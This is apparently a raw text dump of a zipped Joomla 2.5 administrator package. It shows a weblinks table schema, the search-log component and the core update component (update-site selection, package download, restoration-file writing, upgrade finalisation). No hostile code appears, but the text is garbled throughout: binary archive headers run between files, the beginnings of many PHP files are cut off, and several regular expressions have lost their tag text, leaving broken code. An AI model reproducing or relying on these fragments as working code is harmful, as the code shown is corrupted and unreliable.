`#__weblinks`;PK@y>\yg2components/com_weblinks/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__weblinks` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `catid` int(11) NOT NULL DEFAULT '0', `sid` int(11) NOT NULL DEFAULT '0', `title` varchar(250) NOT NULL DEFAULT '', `alias` varchar(255) NOT NULL DEFAULT '', `url` varchar(250) NOT NULL DEFAULT '', `description` text NOT NULL, `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `hits` int(11) NOT NULL DEFAULT '0', `state` tinyint(1) NOT NULL DEFAULT '0', `checked_out` int(11) NOT NULL DEFAULT '0', `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `ordering` int(11) NOT NULL DEFAULT '0', `archived` tinyint(1) NOT NULL DEFAULT '0', `approved` tinyint(1) NOT NULL DEFAULT '1', `access` int(11) NOT NULL DEFAULT '1', `params` text NOT NULL, `language` char(7) NOT NULL DEFAULT '', `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL DEFAULT '0', `created_by_alias` varchar(255) NOT NULL DEFAULT '', `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL DEFAULT '0', `metakey` text NOT NULL, `metadesc` text NOT NULL, `metadata` text NOT NULL, `featured` tinyint(3) unsigned NOT NULL DEFAULT '0' COMMENT 'Set if link is featured.', `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.', `publish_up` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `publish_down` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`), KEY `idx_access` (`access`), KEY `idx_checkout` (`checked_out`), KEY `idx_state` (`state`), KEY `idx_catid` (`catid`), KEY `idx_createdby` (`created_by`), KEY `idx_featured_catid` (`featured`,`catid`), KEY `idx_language` (`language`), KEY `idx_xreference` (`xreference`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; PK@y>\V&components/com_weblinks/sql/index.htmlnuW+A PK@y>\)%components/com_weblinks/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)%components/com_search/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V&components/com_search/views/index.htmlnuW+A PK@y>\).components/com_search/views/searches/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V4components/com_search/views/searches/tmpl/index.htmlnuW+A PK@y>\̊45components/com_search/views/searches/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canDo = SearchHelper::getActions(); ?>
      enabled) : ?> state->get('filter.results')) : ?>
      items as $i => $item) : ?>
       
      pagination->getListFooter(); ?>
      pagination->limitstart; ?> escape($item->search_term); ?> hits; ?> state->get('filter.results')) : ?> returns; ?>  
      PK@y>\)3components/com_search/views/searches/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_search/views/searches/index.htmlnuW+A PK@y>\ o2components/com_search/views/searches/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->enabled = $this->state->params->get('enabled'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = SearchHelper::getActions(); JToolBarHelper::title(JText::_('COM_SEARCH_MANAGER_SEARCHES'), 'search.png'); if ($canDo->get('core.edit.state')) { JToolBarHelper::custom('searches.reset', 'refresh.png', 'refresh_f2.png', 'JSEARCH_RESET', false); } JToolBarHelper::divider(); if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_search'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_SEARCH'); } } PK@y>\V components/com_search/index.htmlnuW+A PK@y>\L components/com_search/search.xmlnuW+A com_search Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_SEARCH_XML_DESCRIPTION controller.php index.html router.php search.php models views language/en-GB.com_search.ini Search config.xml controller.php index.html search.php controllers helpers models views language/en-GB.com_search.ini language/en-GB.com_search.sys.ini PK@y>\»'' components/com_search/search.phpnuW+Aauthorise('core.manage', 'com_search')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Search'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\a5b,, components/com_search/config.xmlnuW+A
      PK@y>\)components/com_search/.htaccessnuW+A Order allow,deny Deny from all PK@y>\] components/com_search/access.xmlnuW+A
      PK@y>\V,components/com_search/controllers/index.htmlnuW+A PK@y>\ISnn.components/com_search/controllers/searches.phpnuW+AgetModel('Searches'); if (!$model->reset()) { JError::raiseWarning(500, $model->getError()); } $this->setRedirect('index.php?option=com_search&view=searches'); } } PK@y>\)+components/com_search/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\g$components/com_search/controller.phpnuW+A\ 9ll)components/com_search/models/searches.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $showResults = $this->getUserStateFromRequest($this->context.'.filter.results', 'filter_results', null, 'int'); $this->setState('filter.results', $showResults); // Load the parameters. $params = JComponentHelper::getParams('com_search'); $this->setState('params', $params); // List state information. parent::populateState('a.hits', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.results'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__core_log_searches').' AS a'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.search_term LIKE '.$search); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.hits')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Override the parnet getItems to inject optional data. * * @return mixed An array of objects on success, false on failure. */ public function getItems() { $items = parent::getItems(); // Determine if number of results for search item should be calculated // by default it is `off` as it is highly query intensive if ($this->getState('filter.results')) { JPluginHelper::importPlugin('search'); $app = JFactory::getApplication(); if (!class_exists('JSite')) { // This fools the routers in the search plugins into thinking it's in the frontend JLoader::register('JSite', JPATH_COMPONENT.'/helpers/site.php'); } foreach ($items as &$item) { $results = $app->triggerEvent('onContentSearch', array($item->search_term)); $item->returns = 0; foreach ($results as $result) { $item->returns += count($result); } } } return $items; } /** * Method to reset the seach log table. * * @return boolean */ public function reset() { $db = $this->getDbo(); $db->setQuery( 'DELETE FROM #__core_log_searches' ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } return true; } } PK@y>\V'components/com_search/models/index.htmlnuW+A PK@y>\)&components/com_search/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)'components/com_search/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\؟;&components/com_search/helpers/site.phpnuW+A\'$(components/com_search/helpers/search.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } static function santiseSearchWord(&$searchword, $searchphrase) { $ignored = false; $lang = JFactory::getLanguage(); $tag = $lang->getTag(); $search_ignore = $lang->getIgnoredSearchWords(); // Deprecated in 1.6 use $lang->getIgnoredSearchWords instead $ignoreFile = $lang->getLanguagePath() . '/' . $tag . '/' . $tag.'.ignore.php'; if (file_exists($ignoreFile)) { include $ignoreFile; } // check for words to ignore $aterms = explode(' ', JString::strtolower($searchword)); // first case is single ignored word if (count($aterms) == 1 && in_array(JString::strtolower($searchword), $search_ignore)) { $ignored = true; } // filter out search terms that are too small $lower_limit = $lang->getLowerLimitSearchWord(); foreach($aterms as $aterm) { if (JString::strlen($aterm) < $lower_limit) { $search_ignore[] = $aterm; } } // next is to remove ignored words from type 'all' or 'any' (not exact) searches with multiple words if (count($aterms) > 1 && $searchphrase != 'exact') { $pruned = array_diff($aterms, $search_ignore); $searchword = implode(' ', $pruned); } return $ignored; } static function limitSearchWord(&$searchword) { $restriction = false; $lang = JFactory::getLanguage(); // limit searchword to a maximum of characters $upper_limit = $lang->getUpperLimitSearchWord(); if (JString::strlen($searchword) > $upper_limit) { $searchword = JString::substr($searchword, 0, $upper_limit - 1); $restriction = true; } // searchword must contain a minimum of characters if ($searchword && JString::strlen($searchword) < $lang->getLowerLimitSearchWord()) { $searchword = ''; $restriction = true; } return $restriction; } static function logSearch($search_term) { $db = JFactory::getDbo(); $params = JComponentHelper::getParams('com_search'); $enable_log_searches = $params->get('enabled'); $search_term = $db->escape(trim($search_term)); if (@$enable_log_searches) { $db = JFactory::getDbo(); $query = 'SELECT hits' . ' FROM #__core_log_searches' . ' WHERE LOWER(search_term) = "'.$search_term.'"' ; $db->setQuery($query); $hits = intval($db->loadResult()); if ($hits) { $query = 'UPDATE #__core_log_searches' . ' SET hits = (hits + 1)' . ' WHERE LOWER(search_term) = "'.$search_term.'"' ; $db->setQuery($query); $db->query(); } else { $query = 'INSERT INTO #__core_log_searches VALUES ("'.$search_term.'", 1)'; $db->setQuery($query); $db->query(); } } } /** * Prepares results from search for display * * @param string The source string * @param string The searchword to select around * @return string */ public static function prepareSearchContent($text, $searchword) { // strips tags won't remove the actual jscript $text = preg_replace("']*>.*?'si", "", $text); $text = preg_replace('/{.+?}/', '', $text); //$text = preg_replace('/]*>([^<]+)<\/a>/is','\2', $text); // replace line breaking tags with whitespace $text = preg_replace("'<(br[^/>]*?/|hr[^/>]*?/|/(div|h[1-6]|li|p|td))>'si", ' ', $text); return self::_smartSubstr(strip_tags($text), $searchword); } /** * Checks an object for search terms (after stripping fields of HTML) * * @param object The object to check * @param string Search words to check for * @param array List of object variables to check against * @returns boolean True if searchTerm is in object, false otherwise */ public static function checkNoHtml($object, $searchTerm, $fields) { $searchRegex = array( '#]*>.*?#si', '#]*>.*?#si', '##si', '#<[^>]*>#i' ); $terms = explode(' ', $searchTerm); if (empty($fields)) return false; foreach($fields as $field) { if (!isset($object->$field)) continue; $text = $object->$field; foreach($searchRegex as $regex) { $text = preg_replace($regex, '', $text); } foreach($terms as $term) { if (JString::stristr($text, $term) !== false) { return true; } } } return false; } /** * returns substring of characters around a searchword * * @param string The source string * @param int Number of chars to return * @param string The searchword to select around * @return string */ static function _smartSubstr($text, $searchword) { $lang = JFactory::getLanguage(); $length = $lang->getSearchDisplayedCharactersNumber(); $textlen = JString::strlen($text); $lsearchword = JString::strtolower($searchword); $wordfound = false; $pos = 0; while ($wordfound === false && $pos < $textlen) { if (($wordpos = @JString::strpos($text, ' ', $pos + $length)) !== false) { $chunk_size = $wordpos - $pos; } else { $chunk_size = $length; } $chunk = JString::substr($text, $pos, $chunk_size); $wordfound = JString::strpos(JString::strtolower($chunk), $lsearchword); if ($wordfound === false) { $pos += $chunk_size + 1; } } if ($wordfound !== false) { return (($pos > 0) ? '... ' : '') . $chunk . ' ...'; } else { if (($wordpos = @JString::strpos($text, ' ', $length)) !== false) { return JString::substr($text, 0, $wordpos) . ' ...'; } else { return JString::substr($text, 0, $length); } } } } PK@y>\V(components/com_search/helpers/index.htmlnuW+A PK@y>\),components/com_joomlaupdate/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-components/com_joomlaupdate/models/index.htmlnuW+A PK@y>\BvFuIuI.components/com_joomlaupdate/models/default.phpnuW+A * @since 2.5.4 */ class JoomlaupdateModelDefault extends JModelLegacy { /** * Detects if the Joomla! update site currently in use matches the one * configured in this component. If they don't match, it changes it. * * @return void * * @since 2.5.4 */ public function applyUpdateSite() { // Determine the intended update URL $params = JComponentHelper::getParams('com_joomlaupdate'); switch ($params->get('updatesource', 'nochange')) { // "Long Term Support (LTS) branch - Recommended" case 'lts': $updateURL = 'http://update.joomla.org/core/list.xml'; break; // "Short term support (STS) branch" case 'sts': $updateURL = 'http://update.joomla.org/core/sts/list_sts.xml'; break; // "Testing" case 'testing': $updateURL = 'http://update.joomla.org/core/test/list_test.xml'; break; // "Custom" case 'custom': $updateURL = $params->get('customurl', ''); break; // "Do not change" case 'nochange': default: return; break; } $db = $this->getDbo(); $query = $db->getQuery(true) ->select($db->nq('us') . '.*') ->from( $db->nq('#__update_sites_extensions') . ' AS ' . $db->nq('map') ) ->innerJoin( $db->nq('#__update_sites') . ' AS ' . $db->nq('us') . ' ON (' . $db->nq('us') . '.' . $db->nq('update_site_id') . ' = ' . $db->nq('map') . '.' . $db->nq('update_site_id') . ')' ) ->where( $db->nq('map') . '.' . $db->nq('extension_id') . ' = ' . $db->q(700) ); $db->setQuery($query); $update_site = $db->loadObject(); if ($update_site->location != $updateURL) { // Modify the database record $update_site->last_check_timestamp = 0; $update_site->location = $updateURL; $db->updateObject('#__update_sites', $update_site, 'update_site_id'); // Remove cached updates $query = $db->getQuery(true) ->delete($db->nq('#__updates')) ->where($db->nq('extension_id').' = '.$db->q('700')); $db->setQuery($query); $db->query(); } } /** * Makes sure that the Joomla! update cache is up-to-date * * @param bool $force Force reload, ignoring the cache timeout * * @return void * * @since 2.5.4 */ public function refreshUpdates($force = false) { if ($force) { $cache_timeout = 0; } else { $update_params = JComponentHelper::getParams('com_installer'); $cache_timeout = $update_params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; } $updater = JUpdater::getInstance(); $results = $updater->findUpdates(700, $cache_timeout); } /** * Returns an array with the Joomla! update information * * @return array * * @since 2.5.4 */ public function getUpdateInformation() { // Initialise the return array $ret = array( 'installed' => JVERSION, 'latest' => null, 'object' => null ); // Fetch the update information from the database $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->nq('#__updates')) ->where($db->nq('extension_id') . ' = ' . $db->q(700)); $db->setQuery($query); $updateObject = $db->loadObject(); if (is_null($updateObject)) { $ret['latest'] = JVERSION; return $ret; } else { $ret['latest'] = $updateObject->version; } // Fetch the full udpate details from the update details URL jimport('joomla.updater.update'); $update = new JUpdate; $update->loadFromXML($updateObject->detailsurl); // Pass the update object if($ret['latest'] == JVERSION) { $ret['object'] = null; } else { $ret['object'] = $update; } return $ret; } /** * Returns an array with the configured FTP options * * @return array * * @since 2.5.4 */ public function getFTPOptions() { $config = JFactory::getConfig(); return array( 'host' => $config->get('ftp_host'), 'port' => $config->get('ftp_port'), 'username' => $config->get('ftp_user'), 'password' => $config->get('ftp_pass'), 'directory' => $config->get('ftp_root'), 'enabled' => $config->get('ftp_enable'), ); } /** * Downloads the update package to the site * * @return bool|string False on failure, basename of the file in any other case * * @since 2.5.4 */ public function download() { $updateInfo = $this->getUpdateInformation(); $packageURL = $updateInfo['object']->downloadurl->_data; $basename = basename($packageURL); // Find the path to the temp directory and the local package $jreg = JFactory::getConfig(); $tempdir = $jreg->getValue('config.tmp_path'); $target = $tempdir . '/' . $basename; // Do we have a cached file? jimport('joomla.filesystem.file'); $exists = JFile::exists($target); if (!$exists) { // Not there, let's fetch it return $this->downloadPackage($packageURL, $target); } else { // Is it a 0-byte file? If so, re-download please. $filesize = @filesize($target); if(empty($filesize)) return $this->downloadPackage($packageURL, $target); // Yes, it's there, skip downloading return $basename; } } /** * Downloads a package file to a specific directory * * @param string $url The URL to download from * @param string $target The directory to store the file * * @return boolean True on success * * @since 2.5.4 */ protected function downloadPackage($url, $target) { JLoader::import('helpers.download', JPATH_COMPONENT_ADMINISTRATOR); $result = AdmintoolsHelperDownload::download($url, $target); if(!$result) { return false; } else { return basename($target); } } /** * @since 2.5.4 */ public function createRestorationFile($basename = null) { // Get a password jimport('joomla.user.helper'); $password = JUserHelper::genRandomPassword(32); JFactory::getApplication()->setUserState('com_joomlaupdate.password', $password); // Do we have to use FTP? $method = JRequest::getCmd('method', 'direct'); // Get the absolute path to site's root $siteroot = JPATH_SITE; // If the package name is not specified, get it from the update info if (empty($basename)) { $updateInfo = $this->getUpdateInformation(); $packageURL = $updateInfo['object']->downloadurl->_data; $basename = basename($packageURL); } // Get the package name $tempdir = JFactory::getConfig()->getValue('config.tmp_path'); $file = $tempdir . '/' . $basename; $filesize = @filesize($file); JFactory::getApplication()->setUserState('com_joomlaupdate.password', $password); JFactory::getApplication()->setUserState('com_joomlaupdate.filesize', $filesize); $data = " '$password', 'kickstart.tuning.max_exec_time' => '5', 'kickstart.tuning.run_time_bias' => '75', 'kickstart.tuning.min_exec_time' => '0', 'kickstart.procengine' => '$method', 'kickstart.setup.sourcefile' => '$file', 'kickstart.setup.destdir' => '$siteroot', 'kickstart.setup.restoreperms' => '0', 'kickstart.setup.filetype' => 'zip', 'kickstart.setup.dryrun' => '0' ENDDATA; if ($method == 'ftp') { // Fetch the FTP parameters from the request. Note: The password should be // allowed as raw mode, otherwise something like !@43H% would be // sanitised to !@43H% which is just plain wrong. $ftp_host = JRequest::getVar('ftp_host',''); $ftp_port = JRequest::getVar('ftp_port', '21'); $ftp_user = JRequest::getVar('ftp_user', ''); $ftp_pass = JRequest::getVar('ftp_pass', '', 'default', 'none', 2); $ftp_root = JRequest::getVar('ftp_root', ''); // Is the tempdir really writable? $writable = @is_writeable($tempdir); if($writable) { // Let's be REALLY sure $fp = @fopen($tempdir.'/test.txt','w'); if($fp === false) { $writable = false; } else { fclose($fp); unlink($tempdir.'/test.txt'); } } // If the tempdir is not writable, create a new writable subdirectory if(!$writable) { jimport('joomla.client.ftp'); jimport('joomla.client.helper'); jimport('joomla.filesystem.folder'); $FTPOptions = JClientHelper::getCredentials('ftp'); $ftp = & JFTP::getInstance($FTPOptions['host'], $FTPOptions['port'], null, $FTPOptions['user'], $FTPOptions['pass']); $dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $tempdir.'/admintools'), '/'); if(!@mkdir($tempdir.'/admintools')) $ftp->mkdir($dest); if(!@chmod($tempdir.'/admintools', 511)) $ftp->chmod($dest, 511); $tempdir .= '/admintools'; } // Just in case the temp-directory was off-root, try using the default tmp directory $writable = @is_writeable($tempdir); if(!$writable) { $tempdir = JPATH_ROOT.'/tmp'; // Does the JPATH_ROOT/tmp directory exist? if(!is_dir($tempdir)) { jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); JFolder::create($tempdir, 511); JFile::write($tempdir.'/.htaccess',"order deny, allow\ndeny from all\nallow from none\n"); } // If it exists and it is unwritable, try creating a writable admintools subdirectory if(!is_writable($tempdir)) { jimport('joomla.client.ftp'); jimport('joomla.client.helper'); jimport('joomla.filesystem.folder'); $FTPOptions = JClientHelper::getCredentials('ftp'); $ftp = & JFTP::getInstance($FTPOptions['host'], $FTPOptions['port'], null, $FTPOptions['user'], $FTPOptions['pass']); $dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $tempdir.'/admintools'), '/'); if(!@mkdir($tempdir.'/admintools')) $ftp->mkdir($dest); if(!@chmod($tempdir.'/admintools', 511)) $ftp->chmod($dest, 511); $tempdir .= '/admintools'; } } // If we still have no writable directory, we'll try /tmp and the system's temp-directory $writable = @is_writeable($tempdir); if(!$writable) { if(@is_dir('/tmp') && @is_writable('/tmp')) { $tempdir = '/tmp'; } else { // Try to find the system temp path $tmpfile = @tempnam("dummy",""); $systemp = @dirname($tmpfile); @unlink($tmpfile); if(!empty($systemp)) { if(@is_dir($systemp) && @is_writable($systemp)) { $tempdir = $systemp; } } } } $data.=<< '0', 'kickstart.ftp.passive' => '1', 'kickstart.ftp.host' => '$ftp_host', 'kickstart.ftp.port' => '$ftp_port', 'kickstart.ftp.user' => '$ftp_user', 'kickstart.ftp.pass' => '$ftp_pass', 'kickstart.ftp.dir' => '$ftp_root', 'kickstart.ftp.tempdir' => '$tempdir' ENDDATA; } $data .= ');'; // Remove the old file, if it's there... jimport('joomla.filesystem.file'); $configpath = JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php'; if( JFile::exists($configpath) ) { JFile::delete($configpath); } // Write new file. First try with JFile. $result = JFile::write( $configpath, $data ); // In case JFile used FTP but direct access could help if(!$result) { if(function_exists('file_put_contents')) { $result = @file_put_contents($configpath, $data); if($result !== false) $result = true; } else { $fp = @fopen($configpath, 'wt'); if($fp !== false) { $result = @fwrite($fp, $data); if($result !== false) $result = true; @fclose($fp); } } } return $result; } /** * Runs the schema update SQL files, the PHP update script and updates the * manifest cache and #__extensions entry. Essentially, it is identical to * JInstallerFile::install() without the file copy. * * @return boolean True on success * * @since 2.5.4 */ public function finaliseUpgrade() { jimport('joomla.installer.install'); $installer = JInstaller::getInstance(); $installer->setPath('source', JPATH_ROOT); $installer->setPath('extension_root', JPATH_ROOT); if (!$installer->setupInstall()) { $installer->abort(JText::_('JLIB_INSTALLER_ABORT_DETECTMANIFEST')); return false; } $installer->extension = JTable::getInstance('extension'); $installer->extension->load(700); $installer->setAdapter($installer->extension->type); $manifest = $installer->getManifest(); $manifestPath = JPath::clean($installer->getPath('manifest')); $element = preg_replace('/\.xml/', '', basename($manifestPath)); // Run the script file $scriptElement = $manifest->scriptfile; $manifestScript = (string) $manifest->scriptfile; if ($manifestScript) { $manifestScriptFile = JPATH_ROOT . '/' . $manifestScript; if (is_file($manifestScriptFile)) { // load the file include_once $manifestScriptFile; } $classname = 'JoomlaInstallerScript'; if (class_exists($classname)) { $manifestClass = new $classname($this); } } ob_start(); ob_implicit_flush(false); if ($manifestClass && method_exists($manifestClass, 'preflight')) { if ($manifestClass->preflight('update', $this) === false) { $installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE')); return false; } } $msg = ob_get_contents(); // create msg object; first use here ob_end_clean(); // Get a database connector object $db = JFactory::getDbo(); // Check to see if a file extension by the same name is already installed // If it is, then update the table because if the files aren't there // we can assume that it was (badly) uninstalled // If it isn't, add an entry to extensions $query = $db->getQuery(true); $query->select($query->qn('extension_id')) ->from($query->qn('#__extensions')); $query->where($query->qn('type') . ' = ' . $query->q('file')) ->where($query->qn('element') . ' = ' . $query->q('joomla')); $db->setQuery($query); try { $db->Query(); } catch (RuntimeException $e) { // Install failed, roll back changes $installer->abort( JText::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', JText::_('JLIB_INSTALLER_UPDATE'), $db->stderr(true)) ); return false; } $id = $db->loadResult(); $row = JTable::getInstance('extension'); if ($id) { // Load the entry and update the manifest_cache $row->load($id); // Update name $row->set('name', 'files_joomla'); // Update manifest $row->manifest_cache = $installer->generateManifestCache(); if (!$row->store()) { // Install failed, roll back changes $installer->abort( JText::sprintf('JLIB_INSTALLER_ABORT_FILE_ROLLBACK', JText::_('JLIB_INSTALLER_UPDATE'), $db->stderr(true)) ); return false; } } else { // Add an entry to the extension table with a whole heap of defaults $row->set('name', 'files_joomla'); $row->set('type', 'file'); $row->set('element', 'joomla'); // There is no folder for files so leave it blank $row->set('folder', ''); $row->set('enabled', 1); $row->set('protected', 0); $row->set('access', 0); $row->set('client_id', 0); $row->set('params', ''); $row->set('system_data', ''); $row->set('manifest_cache', $installer->generateManifestCache()); if (!$row->store()) { // Install failed, roll back changes $installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK', $db->stderr(true))); return false; } // Set the insert id $row->set('extension_id', $db->insertid()); // Since we have created a module item, we add it to the installation step stack // so that if we have to rollback the changes we can undo it. $installer->pushStep(array('type' => 'extension', 'extension_id' => $row->extension_id)); } /* * Let's run the queries for the file */ if ($manifest->update) { $result = $installer->parseSchemaUpdates($manifest->update->schemas, $row->extension_id); if ($result === false) { // Install failed, rollback changes $installer->abort(JText::sprintf('JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR', $db->stderr(true))); return false; } } // Start Joomla! 1.6 ob_start(); ob_implicit_flush(false); if ($manifestClass && method_exists($manifestClass, 'update')) { if ($manifestClass->update($installer) === false) { // Install failed, rollback changes $installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE')); return false; } } $msg .= ob_get_contents(); // append messages ob_end_clean(); // Lastly, we will copy the manifest file to its appropriate place. $manifest = array(); $manifest['src'] = $installer->getPath('manifest'); $manifest['dest'] = JPATH_MANIFESTS . '/files/' . basename($installer->getPath('manifest')); if (!$installer->copyFiles(array($manifest), true)) { // Install failed, rollback changes $installer->abort(JText::_('JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP')); return false; } // Clobber any possible pending updates $update = JTable::getInstance('update'); $uid = $update->find( array('element' => $element, 'type' => 'file', 'client_id' => '', 'folder' => '') ); if ($uid) { $update->delete($uid); } // And now we run the postflight ob_start(); ob_implicit_flush(false); if ($manifestClass && method_exists($manifestClass, 'postflight')) { $manifestClass->postflight('update', $this); } $msg .= ob_get_contents(); // append messages ob_end_clean(); if ($msg != '') { $installer->set('extension_message', $msg); } return true; } /** * Removes the extracted package file * * @return void * * @since 2.5.4 */ public function cleanUp() { jimport('joomla.filesystem.file'); // Remove the update package $jreg = JFactory::getConfig(); $tempdir = $jreg->getValue('config.tmp_path'); $file = JFactory::getApplication()->getUserState('com_joomlaupdate.file', null); $target = $tempdir.'/'.$file; if (!@unlink($target)) { jimport('joomla.filesystem.file'); JFile::delete($target); } // Remove the restoration.php file $target = JPATH_COMPONENT_ADMINISTRATOR . '/restoration.php'; if (!@unlink($target)) { JFile::delete($target); } // Remove joomla.xml from the site's root $target = JPATH_ROOT . '/joomla.xml'; if (!@unlink($target)) { JFile::delete($target); } // Unset the update filename from the session JFactory::getApplication()->setUserState('com_joomlaupdate.file', null); } } PK@y>\*Axx4components/com_joomlaupdate/helpers/joomlaupdate.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\)-components/com_joomlaupdate/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\bj}B$B$0components/com_joomlaupdate/helpers/download.phpnuW+A 0777) ) { $mode = 0755; } } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], array(), $ftpOptions['user'], $ftpOptions['pass'] ); } if (@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } } PK@y>\V.components/com_joomlaupdate/helpers/index.htmlnuW+A PK@y>\8GG.components/com_joomlaupdate/helpers/select.phpnuW+A\wW,components/com_joomlaupdate/joomlaupdate.xmlnuW+A com_joomlaupdate Joomla! Project February 2012 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_JOOMLAUPDATE_XML_DESCRIPTION config.xml controller.php index.html joomlaupdate.php restore.php controllers helpers models views language/en-GB.com_joomlaupdate.ini PK@y>\yJJ,components/com_joomlaupdate/joomlaupdate.phpnuW+Aauthorise('core.manage', 'com_joomlaupdate')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Joomlaupdate'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\*components/com_joomlaupdate/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { $ftp = JClientHelper::setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Get the model for the view. $model = $this->getModel($vName); // Perform update source preference check and refresh update information $model->applyUpdateSite(); $model->refreshUpdates(); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } return $this; } } PK@y>\)1components/com_joomlaupdate/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V2components/com_joomlaupdate/controllers/index.htmlnuW+A PK@y>\82components/com_joomlaupdate/controllers/update.phpnuW+A_applyCredentials(); $model = $this->getModel('Default'); $file = $model->download(); $message = null; $messageType = null; if ($file) { JFactory::getApplication()->setUserState('com_joomlaupdate.file', $file); $url = 'index.php?option=com_joomlaupdate&task=update.install'; } else { JFactory::getApplication()->setUserState('com_joomlaupdate.file', null); $url = 'index.php?option=com_joomlaupdate'; $message = JText::_('COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED'); } $this->setRedirect($url, $message, $messageType); } /** * Start the installation of the new Joomla! version * * @return void * * @since 2.5.4 */ public function install() { $this->_applyCredentials(); $model = $this->getModel('Default'); $file = JFactory::getApplication()->getUserState('com_joomlaupdate.file', null); $model->createRestorationFile($file); $this->display(); } /** * Finalise the upgrade by running the necessary scripts * * @return void * * @since 2.5.4 */ public function finalise() { $this->_applyCredentials(); $model = $this->getModel('Default'); $model->finaliseUpgrade(); $url = 'index.php?option=com_joomlaupdate&task=update.cleanup'; $this->setRedirect($url); } /** * Clean up after ourselves * * @return void * * @since 2.5.4 */ public function cleanup() { $this->_applyCredentials(); $model = 